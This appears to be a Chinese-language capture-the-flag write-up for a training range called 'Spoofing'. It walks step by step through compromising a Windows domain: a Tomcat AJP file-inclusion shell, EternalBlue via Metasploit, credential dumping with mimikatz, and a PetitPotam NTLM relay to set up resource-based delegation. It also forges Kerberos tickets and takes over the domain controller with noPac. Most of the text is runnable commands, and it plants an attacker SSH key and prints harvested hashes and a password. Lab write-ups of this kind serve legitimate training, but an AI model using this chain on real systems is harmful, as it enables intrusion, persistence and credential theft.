春秋云镜-Spoofing

Spoofing

flag1

信息收集

8080是一个后台系统

tomcat 9.0.23

查到有CVE-2020-1983 Tomcat文件包含漏洞

外网打点

查看一下web.xml

1
python ajpShooter.py http://39.98.109.11:8080 8009  /WEB-INF/web.xml read

存在UploadServlet功能

打文件包含rce

文件上传目录

Files are stored in ./upload/60c4510cf9e3c5d2e75d932aca531a1c/20250318114427444.txt

1
python ajpShooter.py http://39.98.109.11:8080/ 8009 /upload/afd3fcf0deba60870403fa7085086524/20250318010820634.txt eval

反弹的shell直接是root权限,在root下直接读取flag01

flag2

fscan frp 准备好,先进行内网信息收集

172.22.11.6 DC

172.22.11.26 XR-LCM3AE8B

172.22.11.45 MSF17-010

172.22.11.76 入口机

MS17_010

先打45的MSF

1
2
3
4
5
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.11.45
exploit

flag03&flag04

拿一下hash

1
2
load kiwi
creds_all

XR-DESKTOP$ XIAORANG afbf69984b774270f847154ee837266d fe2a64a9a4b33e32c39269dfbba9deb888200849
yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f

yangmei XIAORANG xrihGHgoNZQ

1
hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:48f6da83eb89a4da8a1cc963b855a799:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

用bloodhound收集一下信息

这里用的bloodhound.py

1
proxychains python bloodhound.py -u yangmei -p xrihGHgoNZQ -d xiaorang.lab --dns-tcp -ns 172.22.11.6 -c all --zip
1
neo4j start 

petitpotam

打petitpotam

红队域渗透NTLM Relay:强制认证方式总结

NTLM Relay via WebDAV+Petitpotam的Coerce Authentication,我们可以用Petitpotam强制目标服务器、目标用户使用LM Hash、NTLM Hash对我们的服务器进行认证,然后我们可以将该认证中继至其他目标服务器中以达到横向、提权等的目的,这里只有172.22.11.26有Petitpotam。

通过WebDav进行NTLM Relay的好处在于可以不受到协议签名的影响,对本地内部网或受信任的站点自动使用当前用户凭据进行NTLM认证。

1
proxychains crackmapexec smb 172.22.11.26 -u yangmei -p xrihGHgoNZQ -M petitpotam

1
SMB         172.22.11.26    445    XR-LCM3AE8B      [*] Windows 10 / Server 2019 Build 18362 x64 (name:XR-LCM3AE8B) (domain:xiaorang.lab) (signing:False) (SMBv1:False)

攻击链:用petitpotam触发存在漏洞且开启了webclient服务的目标,利用petitpotam触发目标访问我们的http中继服务,目标将会使用webclient携带ntlm认证访问我们的中继,并且将其认证中继到ldap,获取到机器账户的身份,以机器账户的身份修改其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD)

后续通过设置基于资源的约束委派等方式来获取目标机器的最高权限。

探查一下开启webclinet服务的机器

1
2
proxychains webclientservicescanner xiaorang.lab/yangmei:xrihGHgoNZQ@172.22.11.6 -no-validation
proxychains webclientservicescanner xiaorang.lab/yangmei:xrihGHgoNZQ@172.22.11.26 -no-validation

只有26开了

打webcline前先配置一下流量转发

配个公钥

1
2
3
4
5
6
7
8
#自己的机器上
ssh-keygen -t rsa -b 4096
cat Spoofing.pub
#弹的shell
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC42ck2rjvS7xFDA2s4yXz2riryvn1JCXAzd7S/ZEuKDJ4kA/i6a7kiePYzOx+d7hadLfnng1UFbXmXTr59g6h/PIzGvjz6okH0ddRchdY4BOmpZDwrPBZgI0yVi+6/f8rEpEBXCPdL2190yMnZvDnrnwNVDxTS1I/Phd4bwxQ+s/mrk3lX3IjqlO5tbnrsH0agaSOuBYYLB01lhTL+s588a/oHAKWOlAx3EJuhMDOIreWvhNWz6Gr+mu8KTkMSlTOT8l6UKgqYvn1/IhgW20viAzMM1nZQIx5Q2laTqd1xn0eZks7vCkyAGY3XDBzQK5wMadqc4w/DRs2Gy2b/9qfjOqWpWLqJK1sGuCS8gGvmE669405Xm3uOVnFh9upTUZ82La088tKYzjWlvkNbSlCPTZnaW0jscrmFj0x8HVeTvpzGY6WxgzamFJD3TMkRsEutKNRVTNFUmit9FwajsU7Gzyup7BEg/e+LRoCIohDD910F561CXljX0GgsxOFyIFfRVdQda5Qpzw1HyPyOyHoqZSFRE5NFGvlRnr5VkODDSlgJhu11w0IsH9+MXOgLwhlreSEePB09M71yo0fagli32XQGIbrnBo0/aoRA2Qdpg7n3xvc2Y1+BYuccbPSQgIzgU3GJM5xcB8tF8RADAaVdN75RZVNRmAtZolK4JE1alw== dog@kali" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
#自己的机器上
ssh -i dog-k root@39.98.109.11

接下来把机器的80端口流量转发到我们本地

但这里有个条件,需要我们把服务器端口的流量转发到客户端本地的80,但SSH的反向端口转发监听的时候只会监听127.0.0.1,这里我们让流量 0.0.0.0:80 转发到 127.0.0.1:79,再反向转发回客户端本地的80 ,变相使80监听在0.0.0.0

1
2
ssh -i dog-k root@39.98.115.201  -D SOCKS代理IP:PORT -R \*:79:127.0.0.1:80
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &

测试如下,成功

没有ldaps,所以不能使用addcomputer
同时在使用proxychains后,ldap://后面只能接dc的ip
利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD

本地开启ntlmrelayx,利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD,接着使用Petitpotam触发XR-LCM3AE8B认证到172.22.11.76

指定LDAP协议进行身份验证,目标主机设置为域控,利用-delegate-access选项执行基于资源的约束委派攻击。

1
2
proxychains python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
proxychains python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26

可以看到ntlmrelayx也提示设置了XR-DESKTOP到172.22.11.26的基于资源的约束委派。

接下来就是通过基于资源的约束委派获取ST票据,然后注入内存、psexec来获取交互式shell。
申请XR-LCM3AE8B CIFS票据。这里的hash是前面抓到的XR-DESKTOP用户的hash

1
proxychains impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :5bed3fa07320fd02d0ea1f736f0fd641  xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6
1
2
3
4
5
proxychains impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :6f558f06e563b300dc9f5884aca659f3  xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6
# 将申请到的票据加载到环境变量中
export KRB5CCNAME=administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache
#把XR-LCM3AE8B.xiaorang.lab的ip加到hosts里即172.22.11.26
sudo vim /etc/hosts

之后利用psexec无密码连接

1
proxychains python3 psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk

添加一个管理账户rdp 拿到flag3

PS:这里会提示其他用户已经登陆,是因为上面psexec连接的xiaorang,关闭其连接即可

如果rdp连接不上,也可以smb 来上传猕猴桃,从psexec执行命令

1
2
3
4
proxychains python3 smbclient.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26
use C$
cd \windows\temp
put /root/Desktop/mimikatz.exe

上传猕猴桃拿一下hash

1
2
privilege::debug
sekurlsa::logonpasswords

zhanghui

1232126b24cdf8c9bd2f788a9d7c7ed1

nopac

在Kerberos认证的过程中,处理UserName字段时,如果找不到UserName字段(这里的UserName字段可以理解为samAccountName的值),KDC就会去查找UserName$。但是在Kerberos认证中负责用户身份权限的数据块是PAC,正常流程下在TGS阶段的PAC是拷贝AS阶段的(如果是修改samAccountName值的域用户去申请的PAC,在TGS阶段去申请ST时的PAC还是之前用户的,是没有办法成功利用的),所以这里就需要利用到S4U2Self请求,利用S4U2Self的特性,在TGS阶段的时候会根据S4U2Self协议中模拟的用户生成对应的PAC(绕过了TGS阶段的PAC是拷贝AS阶段的校验),放在ST票据中,即可拿着该ST去访问域控

XR-DESKTOP$ 或者zhanghui都可以

1
proxychains python3 noPac.py xiaorang.lab/'XR-DESKTOP$' -hashes ':03e8d17f4da1797f6b69a9a7a23244c1' -dc-ip 172.22.11.6 --impersonate Administrator -no-add -target-name 'XR-DESKTOP$' -old-hash ':6f558f06e563b300dc9f5884aca659f3' -use-ldap -shell
1
proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell